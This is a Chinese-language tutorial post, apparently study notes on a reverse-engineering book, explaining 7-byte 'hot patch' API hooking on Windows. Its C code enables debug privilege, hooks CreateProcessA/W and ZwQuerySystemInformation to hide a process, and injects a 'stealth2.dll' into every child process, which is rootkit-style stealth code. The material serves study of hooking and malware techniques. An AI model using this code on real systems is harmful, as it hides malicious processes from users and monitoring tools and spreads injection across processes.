zoukankan      html  css  js  c++  java
  • 第33章:隐藏进程-API代码修改技术(下)

    前面的方法会频繁的进行脱钩和挂钩操作,并且在多线程环境中容易导致代码错误.因此使用 "热补丁" 技术就很必要了.

    热补丁(Hot Patch/Fix ) 又称为7字节代码修改技术.

    可以看到,前面七个字节并无实际意义.微软使用这种方法就是为了方便在不关机的情况下临时修改库文件,重启时修改的目标库文件会被完全替代.

    前五个字节可以被用来当作远跳转 jmp( E9 ) xxxxxxxx ,后两个字节被用作 短跳转 jmp( EB ) xxxx .

    此种方法可以尽可能的减少对有效代码的修改,使得当线程在修改时,另一个线程仍能正常得执行代码.

    只需要在上一节的代码中添加这些代码即可.

    BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
    {
        char            szCurProc[MAX_PATH] = {0,};
        char            *p = NULL;
    
        GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
        p = strrchr(szCurProc, '\');
        if( (p != NULL) && !_stricmp(p+1, "HideProc2.exe") )
            return TRUE;
    
        // change privilege
        SetPrivilege(SE_DEBUG_NAME, TRUE);
    
        switch( fdwReason )
        {
            case DLL_PROCESS_ATTACH : 
                // hook
                hook_by_hotpatch("kernel32.dll", "CreateProcessA", 
                                 (PROC)NewCreateProcessA);
                hook_by_hotpatch("kernel32.dll", "CreateProcessW", 
                                 (PROC)NewCreateProcessW);
                hook_by_code("ntdll.dll", "ZwQuerySystemInformation", 
                             (PROC)NewZwQuerySystemInformation, g_pOrgZwQSI); //注意此处,使用的是5字节的代码修改技术
                break;                               // 因为它不像其它 API 被很多进程所使用.
    
            case DLL_PROCESS_DETACH :
                // unhook
                unhook_by_hotpatch("kernel32.dll", "CreateProcessA");
                unhook_by_hotpatch("kernel32.dll", "CreateProcessW");
                unhook_by_code("ntdll.dll", "ZwQuerySystemInformation", 
                               g_pOrgZwQSI);
                break;
        }
    
        return TRUE;
    }
    BOOL unhook_by_hotpatch(LPCSTR szDllName, LPCSTR szFuncName)   //脱钩
    {
        FARPROC pFunc;
        DWORD dwOldProtect;
        PBYTE pByte;
        BYTE pBuf[5] = { 0x90, 0x90, 0x90, 0x90, 0x90 };       //nop *5
        BYTE pBuf2[2] = { 0x8B, 0xFF };              // mov edi,edi
    
    
        pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
        pByte = (PBYTE)pFunc;
        if( pByte[0] != 0xEB )
            return FALSE;
    
        VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);     //修改节区5个字节的属性.
    
        // 1. NOP (0x90)
        memcpy((LPVOID)((DWORD)pFunc - 5), pBuf, 5);
        
        // 2. MOV EDI, EDI (0x8BFF)
        memcpy(pFunc, pBuf2, 2);
    
        VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);
    
        return TRUE;
    }
    BOOL hook_by_hotpatch(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew)   //上钩
    {
        FARPROC pFunc;
        DWORD dwOldProtect, dwAddress;
        BYTE pBuf[5] = { 0xE9, 0, };
        BYTE pBuf2[2] = { 0xEB, 0xF9 };
        PBYTE pByte;
    
        pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
        pByte = (PBYTE)pFunc;
        if( pByte[0] == 0xEB )
            return FALSE;
    
        VirtualProtect((LPVOID)((DWORD)pFunc - 5), 7, PAGE_EXECUTE_READWRITE, &dwOldProtect);  //修改7个字节的属性
    
        // 1. NOP (0x90)
        dwAddress = (DWORD)pfnNew - (DWORD)pFunc;   //不用减去本条指令的长度,因为 pFunc 本身就多了5字节
        memcpy(&pBuf[1], &dwAddress, 4);
        memcpy((LPVOID)((DWORD)pFunc - 5), pBuf, 5);    //写入相应地址.// 2. MOV EDI, EDI (0x8BFF)
        memcpy(pFunc, pBuf2, 2);    //短跳转,相距本条指令的下一条指令7字节
    
        VirtualProtect((LPVOID)((DWORD)pFunc - 5), 7, dwOldProtect, &dwOldProtect);  //恢复属性
    
        return TRUE;
    }
    BOOL WINAPI NewCreateProcessA(
        LPCTSTR lpApplicationName,
        LPTSTR lpCommandLine,
        LPSECURITY_ATTRIBUTES lpProcessAttributes,
        LPSECURITY_ATTRIBUTES lpThreadAttributes,
        BOOL bInheritHandles,
        DWORD dwCreationFlags,
        LPVOID lpEnvironment,
        LPCTSTR lpCurrentDirectory,
        LPSTARTUPINFO lpStartupInfo,
        LPPROCESS_INFORMATION lpProcessInformation
    )
    {
        BOOL bRet;
        FARPROC pFunc;
    
        // original API 调用
        pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessA");
        pFunc = (FARPROC)((DWORD)pFunc + 2);
        bRet = ((PFCREATEPROCESSA)pFunc)(lpApplicationName,    // ASCII 和 Unicode 的函数版本只有这里不一样.
                                         lpCommandLine,
                                         lpProcessAttributes,
                                         lpThreadAttributes,
                                         bInheritHandles,
                                         dwCreationFlags,
                                         lpEnvironment,
                                         lpCurrentDirectory,
                                         lpStartupInfo,
                                         lpProcessInformation);
    
        // 向生成的子进程注入 stealth2.dll
        if( bRet )
            InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME);
    
        return bRet;
    }

    值得注意的是: 

    ①并非所有的 API 都支持这个技术.

    ② ntdll.dll 的 API 代码都比较短,且内部代码地址无依赖性,因此可以将原 API 备份到用户内存区域,然后使用5字节修改技术,修改原 API 的起始部分,使其跳转到备份的 API 执行代码.

  • 相关阅读:
    使用MobaXterm远程连接Ubuntu,启动Octave,界面不能正常显示
    ABP .Net Core 日志组件集成使用NLog
    ABP .Net Core Entity Framework迁移使用MySql数据库
    ABP前端使用阿里云angular2 UI框架NG-ZORRO分享
    阿里云 Angular 2 UI框架 NG-ZORRO介绍
    Visual Studio 2019 Window Form 本地打包发布猫腻
    VS Code + NWJS(Node-Webkit)0.14.7 + SQLite3 + Angular6 构建跨平台桌面应用
    ABP .Net Core 调用异步方法抛异常A second operation started on this context before a previous asynchronous operation completed
    ABP .Net Core To Json序列化配置
    .Net EF Core数据库使用SQL server 2008 R2分页报错How to avoid the “Incorrect syntax near 'OFFSET'. Invalid usage of the option NEXT in the FETCH statement.”
  • 原文地址:https://www.cnblogs.com/Rev-omi/p/13448713.html
Copyright © 2011-2022 走看看